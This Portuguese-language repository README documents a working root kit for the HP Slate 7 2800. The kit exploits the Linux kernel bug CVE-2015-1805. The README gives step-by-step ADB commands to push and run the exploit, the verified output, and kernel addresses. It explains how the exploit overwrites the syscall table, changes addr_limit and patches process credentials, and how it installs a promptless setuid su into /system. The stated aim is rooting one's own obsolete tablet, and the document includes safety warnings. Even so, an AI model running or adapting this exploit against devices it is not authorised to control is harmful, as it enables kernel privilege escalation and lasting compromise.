
Kit de root para HP Slate 7 2800 com Android 4.1.1 usando CVE-2015-1805.
English | Русский
Este repositório contém um kit completo e autossuficiente para obter acesso root persistente no HP Slate 7 2800 executando o firmware 1.05.18 e o kernel Linux 3.0.8+ por meio da exploração da vulnerabilidade local CVE-2015-1805. O kit foi executado no tablet real e o resultado foi verificado a partir de uma nova sessão ADB e após uma reinicialização normal.
Este não é uma ferramenta universal de root para Android. O exploit é específico para esta configuração de kernel da HP. Não o execute em um modelo, firmware ou versão de kernel diferente.
| Parâmetro | Valor verificado |
|---|---|
| Fabricante e modelo | HP Slate 7 2800 |
| Android | 4.1.1, API 16, build JRO03H |
| Produto / dispositivo | t7h / pine |
| Processador | Rockchip RK3066, ARMv7 |
| Impressão digital da compilação | hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys |
| Kernel | 3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015 |
| ABI | 32-bit ARM EABI5 |
| SELinux | não presente na configuração do kernel (CONFIG_SECURITY está desativado) |
Partição /system | ext4, montada somente leitura por padrão |
Você pode inspecionar o dispositivo sem fazer qualquer alteração:
adb devices -l
adb shell getprop ro.product.model
adb shell getprop ro.build.fingerprint
adb shell getprop ro.build.version.sdk
adb shell cat /proc/version
Alternativamente, use o script abaixo. Ele se recusará a continuar se a impressão digital ou a versão do kernel não corresponder:
./scripts/check-target.sh
./scripts/check-target.sh ADB_SERIAL
.
├── bin/
│ ├── hp-slate7-cve-2015-1805-root # verified exploit
│ ├── hp-slate7-install-root # installs su into /system
│ └── hp-slate7-su # minimal setuid-root wrapper
├── src/
│ ├── exploit/ # CVE source and device-specific changes
│ ├── installer/install-root.c # installer source
│ └── su/rootsh.S # minimal su source
├── scripts/
│ ├── build.sh # rebuilds all three ELF files
│ ├── check-target.sh # safe compatibility check
│ └── root-device.sh # verifies, uploads, and runs the kit
├── SHA256SUMS # hashes of the verified bin/* files
├── NOTICE # attribution for the original PoC
└── LICENSE # GPL-3.0
Checksums SHA-256 dos binários verificados:
6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f bin/hp-slate7-cve-2015-1805-root
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a bin/hp-slate7-install-root
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e bin/hp-slate7-su
Verificação no macOS:
shasum -a 256 -c SHA256SUMS
Verificação no Linux:
sha256sum -c SHA256SUMS
Use os arquivos de bin/ no tablet: estes são exatamente os bytes verificados no dispositivo. O diretório build/ destina-se a recompilações locais e não é rastreado pelo Git.
CVE-2015-1805 é uma falha nas implementações de pipe_read() e pipe_write() de kernels Linux mais antigos. Quando uma cópia atômica falha, o código continua incorretamente percorrendo o array iovec, potencialmente movendo um ponteiro para além dos seus limites. Como resultado, um processo local sem privilégios pode corromper memória, derrubar o kernel ou aumentar seus privilégios. Uma explicação detalhada do mecanismo foi publicada em oss-security. As correções podem ser encontradas, entre outros lugares, nos commits do Linux upstream 637b58c e f0d1bec.
O kernel 3.0.8+ do tablet mostrou-se vulnerável. Antes de modificar a memória do kernel, a mesma corrida foi testada separadamente com uma sonda inofensiva cujos dois alvos de escrita estavam ambos localizados na memória comum do processo de teste. Ela relatou CVE-2015-1805: VULNERABLE, e o tablet permaneceu acessível via ADB.
readv(), alterações no mapeamento de memória e o processamento de um grande array iovec no código de pipe vulnerável do kernel.sys_call_table pelo endereço de um pequeno trampolim ARM no processo do exploit.0xffff0008. No dispositivo verificado, a instrução é 0xe59ff410, e seu literal aponta para vector_swi = 0xc04d0d40.vector_swi e sys_call_table foram montados de forma independente a partir do arquivo oficial do kernel HP Open Source 1.05.10 (SHA-256 do arquivo:
dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2)
com o defconfig rk30_t7h_dvt_defconfig. Seu deslocamento é 0xc4. O firmware instalado não possui OABI nem seccomp, portanto o endereço final da tabela em tempo de execução é .A função original current_thread_info() dos cabeçalhos antigos do kernel era incompatível com o Clang moderno em -O0: um protótipo inicial lia uma palavra não inicializada em vez do registrador sp e poderia derrubar o kernel. Neste repositório, ela foi substituída por um trampolim ARM naked verificado. O binário inicial não está incluído no repositório.
bin/adb das Android SDK Platform Tools;Você não precisa do Android NDK, Java, Python, fastboot, bootloader desbloqueado, recovery personalizada, APK de root ou acesso à rede. O exploit e o payload são vinculados estaticamente.
shasum ou sha256sum para verificar o resultado.O Android NDK continua não sendo necessário: o Zig fornece uma toolchain cruzada ARM musl.
Verifique a conexão:
adb devices -l
O status deve ser device, não offline ou unauthorized.
Vá para a raiz do repositório e primeiro verifique se o dispositivo corresponde exatamente:
./scripts/check-target.sh
Se vários dispositivos estiverem conectados, passe o número de série para cada comando usando adb -s SERIAL ou defina a variável de ambiente ANDROID_SERIAL.
Envie os três arquivos usando os nomes que eles esperam uns dos outros:
adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
adb push bin/hp-slate7-install-root /data/local/tmp/install-root
adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7
Defina as permissões e grave os arquivos preparados no armazenamento:
adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'
Execute o exploit uma única vez:
adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'
Saída bem-sucedida verificada:
offset:c4
addr:c04d0d40
[+] Done
restored syscall 222 to 0xc051900c
exploit rc=0 uid=0 gid=0
installer uid=0 gid=0
install-su ok
DEVICE_RC=0
Se o dispositivo desaparecer do ADB por alguns segundos, não execute o exploit novamente. Aguarde ele retornar:
adb wait-for-device
O script verifica a impressão digital e o kernel, confere os hashes SHA-256, envia os arquivos, pede que você digite ROOT, executa o exploit e verifica uid=0:
./scripts/root-device.sh
Para vários dispositivos:
./scripts/root-device.sh --serial ADB_SERIAL
A opção --yes desativa a confirmação interativa e destina-se apenas ao uso automatizado deliberado:
./scripts/root-device.sh --serial ADB_SERIAL --yes
Verifique o root a partir de um shell ADB novo, não do uid do processo do exploit:
adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
adb shell 'ls -l /system/xbin/su'
adb shell 'cat /proc/mounts' | grep ' /system '
Saída esperada:
uid=2000(shell) ...
uid=0(root) gid=0(root) ...
SU_RC=0
-rwsr-sr-x root root ... su
... /system ext4 ro,...
Em seguida, remova apenas os arquivos temporários preparados. O /system/xbin/su instalado não é removido:
adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'
O kit não cria /data/local.prop nem modifica dados do usuário.
Faça uma reinicialização normal e depois verifique o root persistente:
adb reboot
adb wait-for-device
adb shell getprop sys.boot_completed
adb shell '/system/xbin/su -c id'
O tablet verificado produziu o seguinte resultado após a reinicialização:
uid=0(root) gid=0(root) ...
O arquivo instalado foi recuperado do tablet e correspondeu a bin/hp-slate7-su byte por byte:
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e
Para executar um único comando:
adb shell '/system/xbin/su -c id'
adb shell '/system/xbin/su -c "ls -la /data"'
hp-slate7-su é um wrapper intencionalmente mínimo, sem aplicativo Android, avisos de confirmação, daemon ou registro de permissões. Qualquer processo local capaz de executar /system/xbin/su pode potencialmente obter root. Não use este tablet obsoleto para dados sensíveis após fazer root e não instale APKs não confiáveis.
Especifique o caminho para o Zig 0.15.2 portátil ou adicione zig ao PATH:
ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh
A saída será gravada em build/:
build/hp-slate7-cve-2015-1805-root
build/hp-slate7-install-root
build/hp-slate7-su
Verifique os formatos dos arquivos:
file build/hp-slate7-*
Os três arquivos devem ser arquivos ELF ARM EABI5 de 32 bits. Com a versão verificada do Zig 0.15.2, o instalador e o su são recompilados byte por byte de forma idêntica aos arquivos em bin/. O hash do exploit pode diferir devido a caminhos absolutos em metadados DWARF e do linker; seu trampolim crítico de seis instruções era byte por byte idêntico na compilação de verificação. Uma recompilação não substitui os checksums dos arquivos em bin/ que foram realmente executados no tablet.
unauthorizedDesbloqueie a tela e aceite a chave RSA de depuração USB. Se o aviso não aparecer, reconecte o cabo e execute adb devices -l novamente.
offline ou o dispositivo desapareceAguarde alguns segundos e execute adb wait-for-device. Se o tablet tiver desligado, ligue-o normalmente com o botão Power. Não execute uma segunda instância do exploit simultaneamente.
[+] DoneA CVE é explorada por meio de uma corrida e pode falhar teoricamente. Reinicie o tablet antes de fazer uma única nova tentativa. Não execute o binário em um loop: uma corrida malsucedida pode derrubar o kernel.
su existe, mas o comando sai com o código 127Verifique o hash SHA-256 do arquivo. Um wrapper inicial de pesquisa tratava argv incorretamente no ARM e saía com o código 127. Este repositório contém a versão corrigida de 656 bytes com SHA-256 40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e.
Verifique o estado real do Android:
adb shell getprop sys.boot_completed
adb shell dumpsys window windows
sys.boot_completed=1 significa que o Android foi iniciado mesmo que o display físico ainda esteja mostrando um quadro antigo.
Outras abordagens conhecidas foram descartadas com segurança ou consideradas inadequadas neste dispositivo: CVE-2013-6282, CVE-2013-2094, CVE-2012-0056, CVE-2013-4787, Dirty COW e PingPongRoot. Towelroot/CVE-2014-3153 derrubou este kernel e não deve ser usado. CVE-2014-7951 tornou possível gravar um arquivo por meio de path traversal na restauração do ADB, mas o firmware da HP não carregava /data/local.prop, portanto esse método não forneceu root.
O bootloader usa um loader Rockchip antigo e não aparecia como um dispositivo fastboot padrão. Não foi necessário gravar uma recovery nem desbloquear o bootloader para este resultado.
O código do exploit é baseado em mobilelinux/iovy_root_research, commit f945796, que por sua vez referencia dosomder/iovyroot. As alterações específicas do dispositivo incluem redução do número de threads, correção do timeout, uso de um trampolim ARM naked, restauração antecipada da tabela de syscalls, validação de cred e desativação do ramo SELinux inaplicável.
Os avisos originais foram preservados. O repositório é distribuído sob GPL-3.0; consulte LICENSE e NOTICE.
Explorar a memória do kernel sempre traz o risco de reiniciar o dispositivo, corromper o sistema ou perder dados. Este kit destina-se apenas a um HP Slate 7 2800 que você possui e cujo firmware corresponde exatamente. Faça backup de todos os dados importantes e não o use em dispositivos de outras pessoas.
A pesquisa de segurança e a documentação foram concluídas com assistência do OpenAI Codex, alimentado pelo GPT-5.6 Sol com acesso de segurança cibernética Daybreak Blue.
Locais do repositório: fonte canônica · github · espelho somente leitura
| Arquivo | Formato | Tamanho | Finalidade |
|---|
bin/hp-slate7-cve-2015-1805-root | ELF 32-bit ARM EABI5, static, unstripped | 2,722,320 bytes | Explora a CVE, obtém uid 0 e inicia o instalador |
bin/hp-slate7-install-root | ELF 32-bit ARM EABI5, static, stripped | 22,596 bytes | Remonta temporariamente /system como rw, instala o su e restaura ro |
bin/hp-slate7-su | ELF 32-bit ARM EABI5, static, stripped | 656 bytes | Chama setresgid(0,0,0) e setresuid(0,0,0) e, em seguida, inicia /system/bin/sh |
0xc04d0e04sp atual, o alinha ao tamanho da pilha do kernel de 8.192 bytes e escreve -1 apenas em thread_info.addr_limit no deslocamento 8. Ele não contém chamadas externas, prólogo ou código de runtime do compilador.sys_ni_syscall no código-fonte da HP; o ponteiro restaurado no kernel verificado é 0xc051900c.addr_limit é ampliado, a cópia via pipe lê a task_struct atual, localiza cred e valida a estrutura usando os valores atuais de uid/gid, alinhamento, contagem de referências e a condição real_cred == cred. Somente após essas verificações os valores de uid/gid são zerados e as máscaras de capacidade são preenchidas com uns.uid=0 e inicia /data/local/tmp/install-root. O instalador remonta /system como rw, copia o payload para /system/xbin/su, atribui o proprietário root:root e o modo 06755, chama sync() e remonta /system somente leitura.